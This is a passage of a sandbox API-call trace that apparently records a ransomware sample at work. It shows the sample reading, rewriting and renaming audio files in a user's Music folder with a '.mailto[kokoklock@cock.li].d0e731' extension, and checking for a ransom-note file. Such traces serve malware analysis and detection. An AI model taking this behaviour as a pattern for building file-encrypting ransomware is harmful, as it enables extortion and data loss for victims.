Seed=0x22d7feac) returned 0x8f7d04c3 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0x85cd28e0 [0175.318] RtlRandom (in: Seed=0x22d7feac | out: Seed=0x22d7feac) returned 0xbd5812ca [0175.328] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.328] ReadFile (in: hFile=0x3c0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22d7fe78, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22d7fe78*=0x4096, lpOverlapped=0x0) returned 1 [0175.329] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0175.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0175.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0175.330] WriteFile (in: hFile=0x3c0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22d7fe78, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22d7fe78*=0x4096, lpOverlapped=0x0) returned 1 [0175.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.330] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xe115, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.330] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22d7feb0, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x22d7feb0*=0x20, lpOverlapped=0x0) returned 1 [0175.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0175.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.331] WriteFile (in: hFile=0x3c0, lpBuffer=0x30540c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22d7fec4, lpOverlapped=0x0 | out: lpBuffer=0x30540c8*, lpNumberOfBytesWritten=0x22d7fec4*=0x8, lpOverlapped=0x0) returned 1 [0175.331] WriteFile (in: hFile=0x3c0, lpBuffer=0x22d7fedc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22d7fec4, lpOverlapped=0x0 | out: lpBuffer=0x22d7fedc*, lpNumberOfBytesWritten=0x22d7fec4*=0x4, lpOverlapped=0x0) returned 1 [0175.331] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22d7fec4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22d7fec4*=0x4, lpOverlapped=0x0) returned 1 [0175.331] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22d7fec4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22d7fec4*=0x6c, lpOverlapped=0x0) returned 1 [0175.331] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22d7fec4, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x22d7fec4*=0x20, lpOverlapped=0x0) returned 1 [0175.331] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22d7fec4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22d7fec4*=0x4, lpOverlapped=0x0) returned 1 [0175.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054118) returned 1 [0175.331] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30540c8) returned 1 [0175.332] CloseHandle (hObject=0x3c0) returned 1 [0175.332] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x120) returned 0x2f70d80 [0175.332] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" [0175.332] wcscat (in: _Dest=0x2f70d80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.332] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\fhfdqbfpa04kkhx10.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\fhfdqbfpa04kkhx10.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.333] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0175.333] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2bd8 [0175.333] wcscpy (in: _Dest=0x2fa2bd8, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0175.333] wcscat (in: _Dest=0x2fa2bd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" [0175.333] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\d0e731-readme.txt")) returned 0x20 [0175.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2bd8) returned 1 [0175.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98408) returned 1 [0175.333] RtlExitUserThread (Status=0x1) Thread: id = 2428 os_tid = 0x8cc [0175.335] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\2975uxh.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.335] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\2975uxh.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0175.336] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x22dffdcc | out: lpFileSize=0x22dffdcc*=81899) returned 1 [0175.336] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x13fe7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.336] ReadFile (in: hFile=0x3c0, lpBuffer=0x22dffda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22dffd9c, lpOverlapped=0x0 | out: lpBuffer=0x22dffda0*, lpNumberOfBytesRead=0x22dffd9c*=0x4, lpOverlapped=0x0) returned 1 [0175.337] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540c8 [0175.337] NtQuerySystemTime (in: CurrentTime=0x22dffd78 | out: CurrentTime=0x22dffd78*=132121213326545891) returned 0x0 [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x48f35de8 [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x4fd078aa [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xc7252b6e [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xbded130d [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x2be68745 [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xb9bbcdfb [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xa12984ea [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x7b6b3016 [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x8773aa02 [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xb38a2c37 [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xafc6046e [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x87d47cc1 [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xaaf71bb4 [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x772a9b7d [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x112cb24c [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x42f3066a [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xc722d51c [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x51fa189b [0175.337] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x7e1fc9a9 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x5c9105d1 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x7016e81b [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x9c7b4982 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xfbdfb811 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xcb4cf1ef [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x278d5959 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x470b5c83 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x5a498db6 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xc0e543d3 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xaf6cc202 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xa7cd1060 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0x67bebe60 [0175.338] RtlRandom (in: Seed=0x22dffd84 | out: Seed=0x22dffd84) returned 0xa3eac317 [0175.348] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.348] ReadFile (in: hFile=0x3c0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22dffd50, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22dffd50*=0x4096, lpOverlapped=0x0) returned 1 [0175.349] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0175.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.349] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.349] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.349] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.349] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0175.350] WriteFile (in: hFile=0x3c0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22dffd50, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22dffd50*=0x4096, lpOverlapped=0x0) returned 1 [0175.350] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.350] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x13feb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.350] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054168*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22dffd88, lpOverlapped=0x0 | out: lpBuffer=0x3054168*, lpNumberOfBytesWritten=0x22dffd88*=0x20, lpOverlapped=0x0) returned 1 [0175.351] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.351] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.351] WriteFile (in: hFile=0x3c0, lpBuffer=0x30540f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22dffd9c, lpOverlapped=0x0 | out: lpBuffer=0x30540f0*, lpNumberOfBytesWritten=0x22dffd9c*=0x8, lpOverlapped=0x0) returned 1 [0175.351] WriteFile (in: hFile=0x3c0, lpBuffer=0x22dffdb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22dffd9c, lpOverlapped=0x0 | out: lpBuffer=0x22dffdb4*, lpNumberOfBytesWritten=0x22dffd9c*=0x4, lpOverlapped=0x0) returned 1 [0175.351] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22dffd9c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22dffd9c*=0x4, lpOverlapped=0x0) returned 1 [0175.351] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22dffd9c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22dffd9c*=0x6c, lpOverlapped=0x0) returned 1 [0175.351] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22dffd9c, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x22dffd9c*=0x20, lpOverlapped=0x0) returned 1 [0175.351] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22dffd9c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22dffd9c*=0x4, lpOverlapped=0x0) returned 1 [0175.352] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.352] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0175.352] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30540f0) returned 1 [0175.352] CloseHandle (hObject=0x3c0) returned 1 [0175.352] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xee) returned 0x3054c08 [0175.352] wcscpy (in: _Dest=0x3054c08, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731" [0175.352] wcscat (in: _Dest=0x3054c08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.352] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\2975uxh.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\2975uxh.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.353] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.353] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054c08) returned 1 [0175.353] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.353] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8af90 [0175.353] wcscpy (in: _Dest=0x2f8af90, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0175.353] wcscat (in: _Dest=0x2f8af90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" [0175.353] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\d0e731-readme.txt")) returned 0x20 [0175.353] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8af90) returned 1 [0175.353] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056df8) returned 1 [0175.353] RtlExitUserThread (Status=0x1) Thread: id = 2429 os_tid = 0x980 [0175.355] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\fkdt3t.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.355] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\fkdt3t.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0175.355] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x22e7f99c | out: lpFileSize=0x22e7f99c*=54693) returned 1 [0175.355] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xd5a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.355] ReadFile (in: hFile=0x3c0, lpBuffer=0x22e7f970, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22e7f96c, lpOverlapped=0x0 | out: lpBuffer=0x22e7f970*, lpNumberOfBytesRead=0x22e7f96c*=0x4, lpOverlapped=0x0) returned 1 [0175.356] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540f0 [0175.356] NtQuerySystemTime (in: CurrentTime=0x22e7f948 | out: CurrentTime=0x22e7f948*=132121213326702499) returned 0x0 [0175.356] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x993affbc [0175.356] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x89eb4ce6 [0175.356] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x54e4d3d1 [0175.356] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x7eb32723 [0175.356] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xd6f2d571 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xf191bed8 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xff3d3c69 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x49a26b93 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x358beebe [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xa72d99ad [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x9ad10694 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xa470f78d [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x14e39f49 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x1ac99bb0 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x6047e8ba [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x9951fb38 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xef7472f [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xc573a3d3 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xffc612c3 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xb23b7e1b [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x3c4ba6e3 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x23292f23 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x413d064d [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xdf3ed56d [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x254c7b62 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 